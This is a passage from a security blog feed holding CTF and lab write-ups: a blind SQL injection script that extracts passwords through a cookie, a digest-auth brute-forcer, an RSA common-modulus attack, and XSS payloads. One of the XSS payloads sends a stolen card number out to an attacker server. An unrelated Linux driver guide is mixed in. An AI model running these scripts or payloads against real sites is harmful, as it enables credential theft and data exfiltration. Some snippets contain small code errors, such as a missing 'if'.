        replace = {'1': '!', '2': '@', '3': '$', '4': '^', '5': '&', '6': '*', '7': '(', '8': ')'}

        username = self.replace_all(username, replace)
        password = self.replace_all(password, replace)

        self.print_all(username, password)
        return

    def replace_all(self, string, replace):
        """
        This function will take a dictionary as an input and replaces the values with its keys in the
        strings.

        :param string:       ->     The string which should be used to replace characters.
        :param replace:      ->     A dictionary which contains the words to be replaced with their keys
        :return:
        """
        for i, j in replace.iteritems():
            string = string.replace(i, j)

        return string

    def print_all(self, username, password):
        print("[+] Encoded username to be set as cookie is: \n \n" + username)
        print("\n[+] -------------------------------------------------------------------------------------------[+] \n")
        print("[+] Encoded password to be set as cookie is: \n \n" + password)
        return


def main():
    challenge6 = Challenge6()
    challenge6.encode_cookie('admin', 'admin')
    return

if __name__ == '__main__':
    main()

Grab the script from Github

Now as you know the value of username/password combination to use. Simply modify the cookie value to what we have generated and the problem will be solved. If you solved the challenge in an easier way, do let me know. Let us share and learn :)

webhacking.kr - 0ldzombie challenge writeup 5

Sat, 13 Jun 2015 00:00:00 -0700

Well, the last challenge was pretty easy and I was dissapointed since it was not very challenging. And I had a feeling that next one will be awesome and fortunately, it is !

Well, when you open this challenge, the first thing you see is a login page and a join page. As always I looked into the source code and saw that the login is redirected to mem/login.php and if we click on join, it says access denied. Also, if we try to login to the page, it says we need to login as admin. So obviously something is fishy about the join.php right ? Also I assumed that since login.php is redicrected to mem/login.php, I directly tried to go to mem/join.php and it returned a blank page. Looking at the source code, I saw a type JavaScript obfuscation. Let us copy and beautify it:

<script>
    l = 'a';
    ll = 'b';
    lll = 'c';
    llll = 'd';
    lllll = 'e';
    llllll = 'f';
    lllllll = 'g';
    llllllll = 'h';
    lllllllll = 'i';
    llllllllll = 'j';
    lllllllllll = 'k';
    llllllllllll = 'l';
    lllllllllllll = 'm';
    llllllllllllll = 'n';
    lllllllllllllll = 'o';
    llllllllllllllll = 'p';
    lllllllllllllllll = 'q';
    llllllllllllllllll = 'r';
    lllllllllllllllllll = 's';
    llllllllllllllllllll = 't';
    lllllllllllllllllllll = 'u';
    llllllllllllllllllllll = 'v';
    lllllllllllllllllllllll = 'w';
    llllllllllllllllllllllll = 'x';
    lllllllllllllllllllllllll = 'y';
    llllllllllllllllllllllllll = 'z';
    I = '1';
    II = '2';
    III = '3';
    IIII = '4';
    IIIII = '5';
    IIIIII = '6';
    IIIIIII = '7';
    IIIIIIII = '8';
    IIIIIIIII = '9';
    IIIIIIIIII = '0';
    li = '.';
    ii = '<';
    iii = '>';
    lIllIllIllIllIllIllIllIllIllIl = lllllllllllllll + llllllllllll + llll + llllllllllllllllllllllllll + lllllllllllllll + lllllllllllll + ll + lllllllll + lllll;
    lIIIIIIIIIIIIIIIIIIl = llll + lllllllllllllll + lll + lllllllllllllllllllll + lllllllllllll + lllll + llllllllllllll + llllllllllllllllllll + li + lll + lllllllllllllll + lllllllllllllll + lllllllllll + lllllllll + lllll;
    if (eval(lIIIIIIIIIIIIIIIIIIl).indexOf(lIllIllIllIllIllIllIllIllIllIl) == -1) {
        bye;
    }
    if (eval(llll + lllllllllllllll + lll + lllllllllllllllllllll + lllllllllllll + lllll + llllllllllllll + llllllllllllllllllll + li + 'U' + 'R' + 'L').indexOf(lllllllllllll + lllllllllllllll + llll + lllll + '=' + I) == -1) {
        alert('access_denied');
        history.go(-1);
    } else {
        document.write('<font size=2 color=white>Join</font><p>');
        document.write('.<p>.<p>.<p>.<p>.<p>');
        document.write('<form method=post action=' + llllllllll + lllllllllllllll + lllllllll + llllllllllllll + li + llllllllllllllll + llllllll + llllllllllllllll + '>');
        document.write('<table border=1><tr><td><font color=gray>id</font></td><td><input type=text name=' + lllllllll + llll + ' maxlength=5></td></tr>');
        document.write('<tr><td><font color=gray>pass</font></td><td><input type=text name=' + llllllllllllllll + lllllllllllllllllllllll + ' maxlength=10></td></tr>');
        document.write('<tr align=center><td colspan=2><input type=submit></td></tr></form></table>');
    }
 </script>

Well, good looking code isn’t it ? Here, the main things comes in the last if loop. It is always giving -1 and for that matter the condition is always exiting with a message access_denied. So what to do ? I simply copy pasted the else part to the console and executed in the context of that page and there, I saw the box to signup with a password. So I immideatly tried to signup for the name admin but it failed since admin already existed. So I tried to make something really near to admin line admin + a blank space so in total it becomes 6 characters but are very close to the name admin.

But when we executed the JavaScript, it limits the number of characters to 5 default. So I modified it into 6, tried signup with a small password and this time, it successfully signed up. Now I went to mem/login.php and it worked. Challenge solved !

The challenge was fun but a bit weird too. So how did you solve it ? If you solved the challenge in an easier way, do let me know. Let us share and learn :)

webhacking.kr - 0ldzombie challenge writeup 4

Sat, 13 Jun 2015 00:00:00 -0700

I hope by the time you are reading this, you had already completed the rest 3 challenges. The 4th challenge is an easy one as you can guess, because it is a 150 point problem. Now let us see how to approch this problem.

In this challenge all that is given is a string like this: YzQwMzNiZmY5NGI1NjdhMTkwZTMzZmFhNTUxZjQxMWNhZWY0NDRmMg==. Well, the moment you see the string, the 2 equal signs indicate that there is a strong chance of base64 encoding here. So after decoding, we will get something like this: c4033bff94b567a190e33faa551f411caef444f2. Well, it seems our first method was an instant success. Now we got something which looks like a hash. Let us try to identify which type of hash could it probably be.

If you use any online hash identifier, most of them suggests that this could be an SHA-1 encryption. Well, if it really is an SHA-1, there is no way to crack it unless it is already stored in some online SHA-1 cracking websites. So after digging up on that I reached a site called hashkiller which helped me decrypt the string. So after the decryption I again got a string which is of the same length: a94a8fe5ccb19ba61c4c0873d391e987982fbbd3. Now what ?

Well, I simply assumed that this one will again be a SHA-1 since it is of same length. So I gave the new string as input this time and it gave back the correct result in plain text. For some reason, I didn’t enjoy this challenge like the other ones. May be next one will be better :)

webhacking.kr - 0ldzombie challenge writeup 2

Fri, 12 Jun 2015 00:00:00 -0700

I hope you have been through the 0ldzombie challenge 2 writeup. Now let us discuss the next challenge. Challenge 1 was fairly easy and straight forward while challenge 2 is a 500 point problem, so it’s not as easy like the last one. So let us see the way I approched the problem.

Note: I am putting up the write up on my blog so that if you are not able to complete the challenges after trying it for awhile, you can refer to the solution to see how I did it. Please don’t look into the solution before you try out the challenges by yourself.

Just like always, the first thing to look into is the source code of the challenge. At the first look, you might not see anything special in it.

<html>
<head>
<title>Project Progress</title>
</head>
<body bgcolor=black>
<center>
<table width=970 bgcolor=white>
<td colspan=5>
<img src="img/new_main.jpg" alt="" usemap="#main.jpg" style="border: 0;" />
<map name="main.jpg">
    <area shape="rect" coords="15,8,517,54" href="index.php" target="" alt="" />
    <area shape="rect" coords="339,63,403,93" href="about.php" target="" alt="" />
    <area shape="rect" coords="413,63,490,92" href="member.php" target="" alt="" />
    <area shape="rect" coords="500,63,582,92" href="research.php" target="" alt="" />
    <area shape="rect" coords="592,63,651,92" href="bbs/index.php" target="" alt="" />
    <area shape="rect" coords="662,64,745,93" href="fun.php" target="" alt="" />
    <area shape="rect" coords="756,63,825,93" href="contact.php" target="" alt="" />
    <area shape="rect" coords="851,7,890,65" href="admin/" target="" alt="" />

<center>
<a href=index.php><img src=img/new.jpg border=0></a><br>
<br><br>
<!--2015-06-13 12:53:02--></td>
<td width=88></td>
</table>

Anything looking suspicious ? Yes, the admin/ directory is directly exposed and if you go the url, it asks for admin password. Alright, so what now ? SQLi in the admin password box ? Well, I tried everything I could, but didn’t work. So I went back and took a look at the cookies in the page and I was suspicious when I saw a cookie named time. Strange isn’t it ? Also, one more notable thing is that the time is commented in the page source code like this . Did anyone notice that in the first look ? Well, I didn’t !

Alright now let us tamper with cookies for sometime. I tried several things but then an idea struck me when I successfully got a Blind cookie based injection. Let us say the value of the time cookie is now 1434124382. I just modified the cookie value to 1434124382 and 1=1 and in the source code, the time comment got changed to 2070-01-01 09:00:01. Well that’s strange isn’t it ? Now let us make the condition false by changing the cookie to 1434124382 and 1=0 and I checked the source again. The comment just got changed to 2070-01-01 09:00:00.

You got the point? The moment the condition goes wrong, the last bit of the comment changes to 0 and if the condition is true, the last bit is 1. This is exactly what we wanted to have a successsful exploitation.

Also, in the same challenge, if you go to the board section, you can see that there is a message on the board, and if you click on the subject, they will ask you for the password. So basically, we need 2 passwords for a successful exploitation. I assumed that the admin password will be saved in a table named admin and I got a hint that the board password is in a table named FreeB0aRd. The main problem with the Blind injection is that if we try to do the same manually, it will take too much time. So I tried automating it in python and here is my code:

#!/usr/bin/python3.4
# Written by Anirudh Anand (lucif3r) : email - anirudh@anirudhanand.com

# This is the solution to 0ldzombie's Webhacking.kr Challenge 2: Blind SQL Injection
# The script uses requests library in python 3.4

import re
import requests
__author__ = 'lucif3r'


class Challenge2:

    def __init__(self):
        print("[+] Blind SQL injection for 0ldzombie challenge 2")
        self.PHPSESSID = "1gmj9l627im3q87fb5822topk3"
        self.board_pass = ""
        self.admin_pass = ""
        self.board_pass_length = 0
        self.admin_pass_length = 0
        self.url = "http://webhacking.kr/challenge/web/web-02/"
        return

    def length_password(self, user):
        """
        This function is trying to understand the length of the password of users given as
        a parameter.

        :param user:    -> The name of the user whose password length has to be found out.
        :return:
        """
        for i in range(1, 15):
            cookies = dict(PHPSESSID=self.PHPSESSID, time='1434109174 and (select length (password) from ' +
                                                          str(user) + ') = ' + str(i))
            req = requests.get(self.url, cookies=cookies)
            res = req.text
            temp = re.findall('2070-01-01 09:00:01', res)

            if temp and user == 'admin':
                self.admin_pass_length = i
                print('[+] Admin Password length = ' + str(self.admin_pass_length))
                break

            if temp and user == 'FreeB0aRd':
                self.board_pass_length = i
                print('[+] FreeB0aRd Password length = ' + str(self.board_pass_length))
                break
            temp = []
        return

    def crack_password(self, user, pass_len):
        """
        This function will try to crack the password if the username and the length
        of the password are provided. Use length_password() to find out the length of the password.

        :param user:        ->  username of whom the password has to be found out
        :param pass_len:    ->  Length of the password found out for the same user
        :return:
        """
        for j in range(1, pass_len+1):
            print("[+] Letters more to go: " + str(pass_len+1 - j))

            for i in range(33, 126):
                cookies = dict(PHPSESSID=self.PHPSESSID, time='1434114374 and (select ascii(substr(password, ' + str(j)
                                                              + ', 1)) from ' + str(user) + ') = ' + str(i))
                req = requests.get(self.url, cookies=cookies)
                res = req.text
                temp = re.findall('2070-01-01 09:00:01', res)
                if temp and user == 'admin':
                    self.admin_pass += chr(i)
                    print('[+] Admin Password till now = ' + str(self.admin_pass))
                    break

                if temp and user == 'FreeB0aRd':
                    self.board_pass += chr(i)
                    print('[+] FreeB0aRd Password till now = ' + str(self.board_pass))
                    break
                temp = []
        return

    def print_vaules(self):
        print("\n ----------------------------------")
        print("[+] Admin Password Length = " + str(self.admin_pass_length))
        print("[+] Admin Password = " + str(self.admin_pass))
        print("[+] FreeB0aRd Password Length = " + str(self.board_pass_length))
        print("[+] FreeB0aRd Password = " + str(self.board_pass))
        print(" ---------------------------------- \n")


def main():
    challenge = Challenge2()
    challenge.length_password('admin')
    challenge.length_password('FreeB0aRd')
    challenge.crack_password('admin', 10)
    challenge.crack_password('FreeB0aRd', 9)
    challenge.print_vaules()

if __name__ == '__main__':
    main()

Grab the script from Github

So from this, you can get both the passwords, ie, the admin password and the board password. If you try to login with the board password, you will get a zip file to download which is password protected. Now login as admin in “admin/” page and you can get the password to unlock the zip archive.

If you solved the challenge in an easier way, do let me know. Let us share and learn :)

[How to] Install ATI AMD drivers in Linux Mint 17.1 Rebecca

Tue, 26 May 2015 08:34:30 -0700

Linux Mint, as you all know, is one of the most popular Linux distribution till date and it is rated as the most downloaded Linux OS by distrowatch. The very recent version of Linux Mint, called “Rebecca”, is a long term support edition from the Mint team till 2019. Rebecca comes with several new features that makes the desktop experience smoother than ever. It comes pre-packed with several improvements which include system performance improvement, more privacy and language settings, and improved hardware support.

As always, one of the biggest challenges for a person installing a latest Linux version is that, it should support the graphics card drivers. And if you mess up with graphics configuration, you will end up crashing the xserver and it will fail to start. So here is a good way to install AMD/ATI drivers properly in Linux Mint without affecting any of the configuration:

Before installing the driver, make sure you install** Linux generic headers**.

sudo apt-get install linux-headers-generic
Linux Mint doesn’t come with fglrx which is actually good for us, as we don’t have to remove it and then re-install it like the way we do in Ubuntu 14.04.
Install fglrx via the command below:

sudo apt-get install fglrx
If it shows any dependency problems, then do an apt-clean and try again. Execute the following commands and then try again.

sudo apt-get autoclean

sudo apt-get update
If fglrx is installed properly, it is time to install the GUI for controlling the graphics properties. Install fglrx-amdcccle (This is very similar to catalyst control center):

sudo apt-get install fglrx-amdcccle
Now let us generate a fresh xorg file (if you are having multiple AMD graphics card or dual graphics, use the next command):

sudo amdconfig --initial
If you are having multiple AMD cards or Dual graphics card, use the following command to generate new xorg file:

sudo amdconfig --adapter=all --initial
Now you can reboot the machine and login to see the drivers working perfectly.

Note:

The above method has already been experimented on the latest Linux Mint 17.1 Rebecca release and I am sure it will work well without any problems for you. Also, the same method will work with Linux Mint 17 quiana too.

If you come across any problems while doing so, let us know via comments and we are happy to help.

RSA: Common Modulus attack with extended Euclidean algorithm

Sat, 17 Jan 2015 08:41:50 -0800

RSA, a commonly used public key cryptosystem, is very secure if you use sufficiently large numbers for encryption. Even then there are attacks against it. If you are not already familiar with RSA encryption mechanism, I suggest you read more about it before continuing with this article.

Consider a scenario where a person encrypts same plain text, 2 different times, which he sends to 2 different people. Suppose you eavesdropped on the communication and got both the cipher texts (c1, c2) and the exponents(e1, e2) he used. You already know his Modulus N which is public. So is there a way you can decipher this ? Well the answer is yes.

In order to decrypt it, we use an algorithm called extended euclidean which makes our tasks much easier. But another condition we need to decrypt this is that the gcd(e1, e2) = 1

You must be thinking that why the hell did I just say gcd(e1, e2) should be equal to 1 ? Well here is the answer:

If you already know how the RSA encryption works, then by now you would have understood that

c1 = m^e1 % N and

c2 = m^e2 % N

Assume that we find out a and b such that (e1 * a) + (e2 * b) = 1 then we can decode the plain text as (c1 ^ a) + (c2 ^ b). If we substitute how c1 and c2 is calculated to above equation, we can get m^(e1 * a + e2 * b) = m^1 = m

Let us see how the algorithm works

(e1*a) + (e2*b) = gcd(e1, e2)

where e is exponents.

Now, we need to find a and** b. In order to find a, since gcd(e1, e2) = 1, then we can say that a is the **modular multiplicative inverse of el and e2. After finding a, we can substitute the value to the above equation so that we can successfully obtain b. After getting a and b, we can get back the plain text by applying the equation

plain = (c1^a) * (c2^b) %N

Another issue that can happen here is that, in most of the cases, the value of b will be negative and hence it is difficult to apply in the above equation. So in order to simplify this, we find out another value named i, which is the modular multiplicative inverse of c2 w.r.t N. Then we can say i^-b = c2^b.

So now the equation becomes plain = (c1^a) * (i^-b) %N. This is what we need in order to decrypt the plain text. Let us look into a python script that can automate the above process:

   #!/usr/bin/python3.4
   # Written by Anirudh Anand (lucif3r) : email - anirudh@anirudhanand.com   
   # This program will help to decrypt cipher text to plain text if you have
   # more than 1 cipher text encrypted with same Modulus (N) but different
   # exponents. We use extended Euclideangm Algorithm to achieve this.
   
   __author__ = 'lucif3r'
   
   import gmpy2
   
   
   class RSAModuli:
       def __init__(self):
           self.a = 0
           self.b = 0
           self.m = 0
           self.i = 0
       def gcd(self, num1, num2):
           """
           This function os used to find the GCD of 2 numbers.
           :param num1:
           :param num2:
           :return:
           """
           if num1 < num2:
               num1, num2 = num2, num1
           while num2 != 0:
               num1, num2 = num2, num1 % num2
           return num1
       def extended_euclidean(self, e1, e2):
           """
           The value a is the modular multiplicative inverse of e1 and e2.
           b is calculated from the eqn: (e1*a) + (e2*b) = gcd(e1, e2)
           :param e1: exponent 1
           :param e2: exponent 2
           """
           self.a = gmpy2.invert(e1, e2)
           self.b = (float(self.gcd(e1, e2)-(self.a*e1)))/float(e2)
       def modular_inverse(self, c1, c2, N):
           """
           i is the modular multiplicative inverse of c2 and N.
           i^-b is equal to c2^b. So if the value of b is -ve, we
           have to find out i and then do i^-b.
           Final plain text is given by m = (c1^a) * (i^-b) %N
           :param c1: cipher text 1
           :param c2: cipher text 2
           :param N: Modulus
           """
           i = gmpy2.invert(c2, N)
           mx = pow(c1, self.a, N)
           my = pow(i, int(-self.b), N)
           self.m= mx * my % N
          def print_value(self):
           print("Plain Text: ", self.m)
   
   
   def main():
       c = RSAModuli()
       N  =
       c1 =
       c2 =
       e1 =
       e2 =
       c.extended_euclidean(e1, e2)
       c.modular_inverse(c1, c2, N)
       c.print_value()
    
   if __name__ == '__main__':
       main()

So here we deal with 2 function namely extended_euclidean and modular_inverse. The extended_euclidean function will help us in calculating the value of a and b. In almost all the cases, the value of b will be negative and because of that, we will find out i in modular_inverse function and also calculate the plain text from the above explained equation.

NOTE:

In order to successfully launch an attack, the gcd of e1 and e2 must be equal to 1 or else this may not work.
The python script makes use of a library called gmpy2. If you don’t have it already installed on your system, then do this: sudo apt-get install python3-gmpy2
When you change the exponents e1, e2 for encrypting the messages it also changes the Private/Public Key Pair. In practice we use the same key pairs so there wont be question of e1/e2 that makes decryption of crypt-text difficult.

If you have any issues related to the above tutorial or if you have a better way of scripting, please don’t hesitate to comment below. We would like to hear from you :)

WAP Challenge 5: Brute forcing Digest Authentication

Fri, 16 Jan 2015 21:05:13 -0800

In the last article we saw how can we actually brute force HTTP Basic Authentication, this time we will see how we can do the same in a Digest based Authentication. If you are not already familiar with Digest based authentication, I strongly recommend you to read more about it and then continue with this article. The key difference here is that for an HTTP basic authentication we can simply pass on different username:password combinations and it passes in plain text through the network. But for a digest based auth, encryption is being introduced so that hackers cannot eavesdrop on the communication between you and the server.

Lets us look into the script.

 
    #!/usr/bin/python3.4
    # Written by Anirudh Anand (lucif3r) : email - anirudh@anirudhanand.com__author__ = 'lucif3r'
    # This is the solution to Pentester Academy's WAP Challenge 4: Digest Authentication Brute-
    # Force. The script uses urllib library in python 3.4
    __author__ = 'lucif3r'
    import urllib.request
    import urllib.error
    import itertools
    def generate_wordlist(words, l):
        """
        :rtype : list
        :param words The string from which words should be made:
        :param l length of the strings:
        :return:
        """
        list_pass = []
        for i in itertools.product(words, repeat=l):
            list_pass.append("".join(i))
        return list_pass
    def brute_force(username):
        """
        :param username:  Username for Brute forcing
        """
        url = 'http://pentesteracademylab.appspot.com/lab/webapp/digest/1'
        passwords = generate_wordlist('ads', 5)
        print("wordlist generated. Starting Brute FOrce...")
        for i in passwords:
            authhandler = urllib.request.HTTPDigestAuthHandler()
            authhandler.add_password('Pentester Academy', url, username, i)
            opener = urllib.request.build_opener(authhandler)
            urllib.request.install_opener(opener)
            print(i)
            try:
                    page = urllib.request.urlopen(url)
            except urllib.error.HTTPError as e:
                    print("failing")
            else:
                    print ('Username: '+username+' Password: '+i)
                    break
    brute_force('admin')
    brute_force('nick')

As you can see, we used the urllib module in python 3.4 to create an authhandler which handles the HTTP Digest Authentication along with the password, url and other things. As you can read from the Wikipedia that an md5 hashing is done using the nounce, url, password etc but when we automate this in python, urllib will take care of everything for us. We don’t need to bother about it.

If you find a better way to complete this or if you are facing any issues regarding to this challenge, don’t hesitate to drop a comment.

XSS - Multilevel XML Parsing: JS for Pentesters task 21 write up

Mon, 03 Nov 2014 07:54:41 -0800

We have already seen and cracked challenges that deals with Multilevel JSON and HTML parsing already. Now let us look into the 3rd one namely parsing XML.

JS for Pentesters task 21

Our objective of this challenge is to Find John’s Secret Questions+Answers using an XSS vulnerability on this page and Display the Questions+Answers in the div with id “result”. Before carrying in with the challenge, I strongly recommend you to read “Ajax: Parsing and reading XML files” for the basics on how to parse and read XML file using Ajax.

    <script>
        var request = new XMLHttpRequest();
        request.onreadystatechange = function() {
            if ((request.readyState === 4) && (request.status === 200)) {
                var endpoint = request.responseXML.getElementsByTagName('endpoint')[0].firstChild.nodeValue;
                var uid = request.responseXML.getElementsByTagName('uid-param-value')[0].firstChild.nodeValue;
                var csrf_token = request.responseXML.getElementsByTagName('token-param-value')[0].firstChild.nodeValue;
                var params = request.responseXML.getElementsByTagName('uid-param-value');    
                var req = new XMLHttpRequest();
                var url = endpoint + "?uid=" + uid + "&token=" + csrf_token;
                alert(url);
                req.open('GET', url);
                req.onreadystatechange = function() {
                    if ((req.readyState === 4) && (req.status === 200)) {
                      	var result = document.getElementById("result").innerHTML = req.responseText;
                    }
                }
                req.send()
            }
        }
        request.open('GET', '/lab/webapp/jfp/21/getxml');
        request.send();
    </script>

Since the response we get from the request is in the format XML, we use the keyword responseXML instead of responseText. From XML files, we can easily take any values we need just like accessing values from HTML files. Thats why you can see that we are accessing the values we need from the XML document using document.getElementsByTagName() which is usually used to select data from an HTML file.

Note:

1) While playing with XSS challenges, it is always recommended to use Mozilla Firefox because Google chrome has inbuilt XSS stopper which will stop us from executing arbitrary JavaScript code even if the page is vulnerable to XSS. So its strongly recommended to use Firefox instead of chrome.

We hope that you really liked this challenge. If there is anything you didn’t understand or wanted to get more clarity, please comment down and we are more than happy to help. Also, if you get a better way of solving the challenge, please share it with us and we are happy to learn from our readers too. Happy pentesting..

By this, we are completing the write ups of Pentester Academy’s JavaScript for Pentesters course challenge write ups. Hope you enjoyed solving the challenges as much as we do :)

XSS - Multilevel JSON Parsing: JS for Pentesters task 20 write up

Mon, 03 Nov 2014 06:36:49 -0800

Lately we saw and understood that XMLHttpRequest() is very powerful and it can not only receive strings as response but also HTML, JSON and XML too. We have seen in last challenge on how to do a Multi level HTML Parsing and now let us see how can we do a Multi level JSON parsing.

JS for Pentesters task 20

Our objective is to Find John’s Password using an XSS vulnerability on this page and Display the Password in the div with id “result”. Before continuing with this challenge, I strongly recommend you read the topic “Ajax:Parsing and reading JSON” which will cover the basics of parsing and reading JSON files with XMLHttpRequest(). I have solved this challenge in a hurry so I am not sure the following is the best solution. But I am sure payload below works ;) .

    <script>
        var request = new XMLHttpRequest();
        request.onreadystatechange = function() {
            if ((request.readyState === 4) && (request.status === 200)) {
                var items = JSON.parse(request.responseText);
                for (var keys in items) {
                    tokenid = items[keys].token;
                    break;
                }
                var req = new XMLHttpRequest();
                req.onreadystatechange = function() {
                    if ((req.readyState === 4) && (req.status === 200)) {
                        var newitems = JSON.parse(req.responseText);
                        for (var key in newitems) {
                            pass = newitems[key].password;
                            alert(pass);
                            break;
                        }
                    }
                }
                req.open('GET', '/lab/webapp/jfp/20/getpassword?token=' + tokenid);
                req.send();
            }
        }
        request.open('GET', '/lab/webapp/jfp/20/gettoken?uid=3476');
        request.send();
    </script>

So let us see what we have done here. What we basically doing here is that we need to get the token from the first request which in turn gives back a JSON file from which we need to parse and get the token and using this token we need to send a request to /lab/webapp/jfp/20/getpassword which will give us the correct password. Most of the modern browsers supports the JSON.parse function which helps us in parsing the JSON file got back by as the result.

Note:

1) While playing with XSS challenges, it is always recommended to use Mozilla Firefox because Google chrome has inbuilt XSS stopper which will stop us from executing arbitrary JavaScript code even if the page is vulnerable to XSS. So its strongly recommended to use Firefox instead of chrome.

XSS - Multilevel HTML parsing: JS for Pentesters task 19 write up

Mon, 03 Nov 2014 06:16:08 -0800

In the last challenge we saw how can we receive and parse an HTML file that we get back as a result of a successful XMLHttpRequest(). But when we take it to the next level, things became a bit more difficult. Let us now see how to do a multilevel HTML parsing in order to solve a challenge.

JS for Pentesters task 19

Our objective is to Find John’s Credit Card Number using an XSS vulnerability on this page and Display the Credit Card Number in the div with id “result”. Here the challenge is very easy but a bit time consuming to construct the correct payload. The working payload looks like this:

    <script>
        var xhr = new XMLHttpRequest();
        var xhr2 = new XMLHttpRequest();
        var csrf_token = '';
        var uid = '';    
        xhr2.onreadystatechange = function() {
             (xhr2.readyState == 4 && xhr2.status == 200) {
                var html = xhr2.responseXML;
                credit = html.getElementById("result").innerHTML;
                console.log(credit);
                document.getElementById("result").innerHTML = credit;
            }
        }
        xhr.onreadystatechange = function() {
            if (xhr.readyState == 4 && xhr.status == 200) {
                var html2 = xhr.responseXML;
                csrf_token = html2.forms[0].elements[1].value;
                alert(csrf_token);
                xhr2.open("GET", "/lab/webapp/jfp/19/getcreditcard?uid=" + uid + "&csrf_token=" + csrf_token, true);
                xhr2.responseType = "document";
                xhr2.send();
            }
        }
        var link = document.getElementById("settings");
        var uid = link.innerHTML.split(":")[1];
        xhr.open("GET", link.href, true);
        xhr.responseType = "document";
        xhr.send();
    </script>

What we are doing here is very simple. Since we have to parse multiple HTML page (to be precise, 2 HTML pages) we need to specify more than 1 XMLHttpRequests (2 to be precise). So we declared 2 XMLHttpRequest(), we called the first request and when it is successfully done, we call the 2nd one within the first one from which we will get the credit card number. Then we will use that number to display it in the “result” id in the main page.

Note:

XSS - HTML parsing with XMLHttpRequest(): JS for Pentesters task 18

Sun, 02 Nov 2014 05:34:20 -0800

XMLHttpRequest() is very powerful which can even retrieve html, JSON, XML etc as response to a request. This challenge is an example of one of them. Usually when we do a request, we get back a string which was easy to manipulate and use for our own purpose. What if the return is an HTML page and we need to get something out of it ? This what this challenge looks in:

JS for Pentesters task 18

Our objective is to Find John’s Postal Address using an XSS vulnerability on that page and Display the Postal address in the div with id “result”. Before moving on to solve this task, one thing to keep in mind that if we need to get back an HTML document as response to an XMLHttpRequest(), we need to specify it explicitly by stating** responseType = “document”;**. So let us see how we cracked this and the payload is :

    <script>
    var req = new XMLHttpRequest();
    req.onreadystatechange=function()
     {
      if (req.readyState==4 && req.status==200)
        {
         var html = req.responseXML;
         var address = html.getElementById("address").innerHTML;
        }
       document.getElementById("result").innerHTML = address;
     };
    req.open("GET", "/lab/webapp/jfp/18/address", true);
    req.responseType = "document";
    req.send();    
    </script>

So how is this working ? We send an XMLHttpRequest() and since we have stated the responseType before sending the request, the response will be an entire HTML page. So first we saved the HTML page in to a variable named html and from inside the HTML we got, we selected the “address” element id which contains the address we are looking for. Then we place that string which we got back in to the original page’s “result” id and there, the challenge is cracked ;)

Note:

CSRF token stealing with XSS: JS for Pentesters task 17 write up

Sun, 02 Nov 2014 00:31:40 -0700

We have already seen several challenges already which we solved using XMLHttpRequest(). This is yet another challenge which can be solved with the same but the difference is that in order to the email address, we need to add something called csrf_token to url and only then our session is valid. csrf_tokens are generally used to protect the sessions and to prevent un-authorized entries. But if a site is vulnerable to XSS, csrf token protection can easily be bypassed as JavaScript can read csrf tokens. Here is a very simple example illustrating the same.

JS for Pentesters task 17

Our objective is to Find John’s Email Address using an XSS vulnerability on that page and Display the Email address in the div with id “result”. A condition to follow is that No Hardcoded values can be used - everything has to be figured out dynamically. For the ease, the token and uid has been saved in the HTML file itself so that we can hard code it to break the challenge but the Author has specifically mentioned that everything has to be figured out dynamically ! Let us see how the payload looks like:

    <script>
        var request = new XMLHttpRequest();    
        request.onreadystatechange = function() {
            if (request.readyState == 4 && request.status == 200) {
                document.getElementById("result").innerHTML = request.responseText;
            }
        };
        var uid = document.getElementsByTagName("p")[0].innerHTML;
        var csrf_token = document.getElementsByTagName("p")[1].innerHTML;
        uid = uid.split(":")[1];
        csrf_token = csrf_token.split(":")[1];
        request.open("GET", "/lab/webapp/jfp/17/email?uid=" + uid + "&csrf_token=" + csrf_token, true);
        request.send();
    </script>

So what have we done here basically is that we took the uid and csrt_token dynamically from the HTML page so that even if the token or uid changes in the future, the payload still works. Then we added the parameters to the URL and used it with an XMLHttpRequest() and we got back the email address as response.

split() is a JavaScript function that splits a string into 2 and return a list with 2 split elements. Since the uid and csrf was in the format id:token, we need to split it and take token value from it so that we can use it in making an XMLHttpRequest().

Note:

1) If you didn’t understand the payload properly, I strongly recommend you read the basics of XMLHttpRequest() first and then try again.

2) While playing with XSS challenges, it is always recommended to use Mozilla Firefox because Google chrome has inbuilt XSS stopper which will stop us from executing arbitrary JavaScript code even if the page is vulnerable to XSS. So its strongly recommended to use Firefox instead of chrome.

3) You have to URL encode the payload before the injection via the url parameter or else this will fail to work

XSS - Ex-filtrating data with XMLHttpRequest(): JS for Pentesters task 15 write up

Sat, 01 Nov 2014 08:12:32 -0700

Till now we have seen 2 different challenges with XMLHttpRequest() with GET request. Now let us look into a challenge were we need to post data not by GET method but by POST method. Let us look into the challenge:

JS for Pentesters task 15

Our Objective of the challenge is to Find John’s Credit Card Number using an XSS vulnerability on this page and post the Credit Card Number to your Attacker Server. Here as we stated above, the key difference is that we should do a POST request to the server. Let us look into the correct payload:

    <script>
    var xhr = new XMLHttpRequest();    
    xhr.open('POST', 'http://pentesteracademylab.appspot.com/lab/webapp/jfp/15/cardstore', true);
    xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    xhr.onload = function () {
    var request = new XMLHttpRequest();
    request.open('GET', 'http://localhost:8000/?creditcard='+xhr.responseText, true);
    request.send()
    };
    xhr.send('user=john');
    </script>

So what have we done above ? We have created a new XMLHttpRequest() object and then we opened the link by specifying the request type as POST. Then we used the setRequestHeader() so that the entire URL should be properly encoded or else it won’t work. After that, its all normal procedure like we did before. A small difference is that we are declaring one more XMLHttpRequest() object inside the onload since we need to post it our server also. You can do that without XMLHttpRequest too but I just prefer to use it. In the xhr.send(), inside the brackets, we gave the POST parameters and here, it is user=john.

Note:

1) If you didn’t understand the payload properly, I strongly recommend you read the basics of XMLHttpRequest() first and then try again.

2) While playing with XSS challenges, it is always recommended to use Mozilla Firefox because Google chrome has inbuilt XSS stopper which will stop us from executing arbitrary JavaScript code even if the page is vulnerable to XSS. So its strongly recommended to use Firefox instead of chrome.

3) You have to URL encode the payload before the injection via the url parameter or else this will fail to work

XSS - fetching data with XMLHttpRequest: JS for Pentesters task 14

Fri, 31 Oct 2014 08:54:21 -0700

Recently we saw an introduction challenge to XMLHttpRequest() which was quite easy and covers only the basics of the same. Now this is a bit advanced comparing to the basic one. Let us look into the challenge:

JS for Pentesters task 14

Our objective is to Find John’s Email Address using an XSS vulnerability on this page and Display the Email address in the div with id “result”. So when you check the source code of the challenge, you can see that we need to send a GET request to “/lab/webapp/jfp/14/email” with the parameter name = John which will return the email address for you. We should display this email address in the webpage. Before continuing this challenge, I strongly recommend you to read this: “Everything you should know about XMLHttpRequest()”. Let us look into the payload:

    <script>
        var request = new XMLHttpRequest();    
        request.onreadystatechange = function() {
